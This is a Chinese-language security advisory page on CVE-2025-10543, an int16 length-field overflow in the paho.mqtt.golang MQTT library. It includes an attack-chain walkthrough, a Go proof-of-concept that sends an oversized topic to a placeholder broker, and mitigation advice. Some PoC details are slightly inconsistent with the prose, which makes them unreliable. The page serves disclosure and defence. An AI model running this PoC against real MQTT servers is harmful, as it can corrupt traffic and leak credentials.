IPBUF安全漏洞报告
English
CVE-2025-10543 CVSS 5.3 中危

CVE-2025-10543 Eclipse Paho Go MQTT 缓冲区整数溢出漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-10543
漏洞类型
缓冲区溢出/整数溢出
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eclipse Paho Go MQTT (paho.mqtt.golang)

相关标签

CVE-2025-10543整数溢出缓冲区溢出MQTT协议Eclipse PahoGo语言数据泄露paho.mqtt.golang协议解析漏洞类型转换溢出

漏洞概述

Eclipse Paho Go MQTT v3.1库(paho.mqtt.golang)在处理UTF-8编码字符串时存在严重的整数溢出漏洞。当传入库的字符串长度超过65535字节时,由于长度字段从int64/int32类型转换为int16时未进行溢出检查,可能导致数据包内容损坏。具体表现为:写入的int16长度字段值不正确,但后续数据仍按原始长度写入,造成数据包长度字段与实际数据长度不匹配。这种情况下,超出65535字节的数据可能泄漏到其他字段,例如PUBLISH数据包中的主题内容可能泄漏到消息体中,MQTT CONNECT数据包中的客户端ID可能泄漏到用户名或密码字段。该漏洞影响所有使用该库进行MQTT通信的应用程序,可能导致敏感信息泄露或通信协议混乱。攻击者可通过构造超长主题或消息触发此漏洞,在特定场景下可能造成数据泄露风险。

技术细节

漏洞根源在于paho.mqtt.golang库在编码MQTT数据包时,对长度字段的类型转换缺乏安全检查。MQTT协议规定多个字段使用2字节无符号整数(uint16,最大值65535)表示长度。当Go语言的int64/int32类型变量(值可能远超65535)被强制转换为int16时,高位数据会被截断。例如,长度值131072(0x20000)转换为int16后变为0,导致长度字段被错误设置为0或极小值。编码过程中,程序先写入这个错误的int16长度值,然后写入完整的原始数据。由于长度字段与实际数据长度不一致,接收端解析时会读取错误长度的数据,后续数据被误认为是下一个字段内容。攻击者利用此漏洞需要构造包含超长UTF-8字符串的MQTT数据包(如超长主题、客户端ID、用户名等),触发整数溢出后,数据包中敏感字段内容会泄漏到其他字段位置,可能导致会话劫持或信息泄露。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中使用Eclipse Paho Go MQTT库(版本<=1.5.0)的应用程序
STEP 2
步骤2
攻击者构造包含超长UTF-8字符串的MQTT数据包,字符串长度超过65535字节(如超长主题名、客户端ID或消息内容)
STEP 3
步骤3
应用程序调用paho.mqtt.golang库的编码函数处理该超长字符串
STEP 4
步骤4
库内部将int64/int32类型的长度值强制转换为int16,由于未进行溢出检查,高位数据被截断
STEP 5
步骤5
编码器写入错误的int16长度值(如0或很小的数),然后写入完整的原始数据,导致数据包长度字段与实际内容不匹配
STEP 6
步骤6
MQTT数据包发送至服务器或客户端,接收方按错误的长度字段解析,将后续数据误读为下一个字段内容
STEP 7
步骤7
数据泄漏发生:例如PUBLISH数据包中的超长主题内容泄漏到消息体,或CONNECT数据包中的客户端ID泄漏到认证字段
STEP 8
步骤8
在特定场景下,攻击者可能利用此信息泄露进行会话劫持、身份冒充或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "fmt" MQTT "github.com/eclipse/paho.mqtt.golang" "time" ) // CVE-2025-10543 PoC: Trigger integer overflow with oversized UTF-8 string // This PoC demonstrates sending an MQTT PUBLISH packet with a topic exceeding 65535 bytes // to trigger the int16 overflow in length field encoding func main() { opts := MQTT.NewClientOptions() opts.AddBroker("tcp://target:1883") opts.SetClientID("poc-client") client := MQTT.NewClient(opts) if token := client.Connect(); token.Wait() && token.Error() != nil { panic(token.Error()) } // Create a topic string exceeding 65535 bytes (65536+ bytes) // This triggers int16 overflow when encoding the length field oversizedTopic := generateOversizedUTF8String(65536) // Message content that will leak into the topic field due to overflow messageBody := "SENSITIVE_DATA_LEAK" // Publish with oversized topic - will cause data corruption token = client.Publish(oversizedTopic, 0, false, messageBody) token.Wait() fmt.Printf("Published message with oversized topic (%d bytes)\n", len(oversizedTopic)) client.Disconnect(250) } // Generate UTF-8 string exceeding 65535 bytes func generateOversizedUTF8String(size int) string { // Use multi-byte UTF-8 characters to reach target size efficiently result := make([]byte, size) for i := range result { result[i] = 'A' // Single byte ASCII, easy to control size } return string(result) } // Alternative: Direct packet manipulation to demonstrate the overflow func demonstrateOverflow() { // int64 length value length := int64(70000) // Simulate unsafe conversion to int16 (what the vulnerable code does) // In Go: int16(length) truncates the high bits truncatedLength := int16(length) fmt.Printf("Original length: %d (0x%x)\n", length, length) fmt.Printf("Truncated length (int16): %d (0x%x)\n", truncatedLength, uint16(truncatedLength)) fmt.Printf("Overflow occurred: %s\n", length > 65535 && truncatedLength != int16(length)) }

影响范围

Eclipse Paho Go MQTT (paho.mqtt.golang) <= 1.5.0

防御指南

临时缓解措施
临时缓解措施:在应用层实现输入验证,限制所有MQTT相关字符串字段(主题、客户端ID、用户名、密码、消息内容等)的长度不超过65535字节。在调用paho.mqtt.golang库之前进行检查,拒绝或截断超长输入。同时监控MQTT通信异常,确保数据包格式符合MQTT协议规范。对于高安全要求的场景,可暂时禁用对超长字段的支持,待官方修复版本发布后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表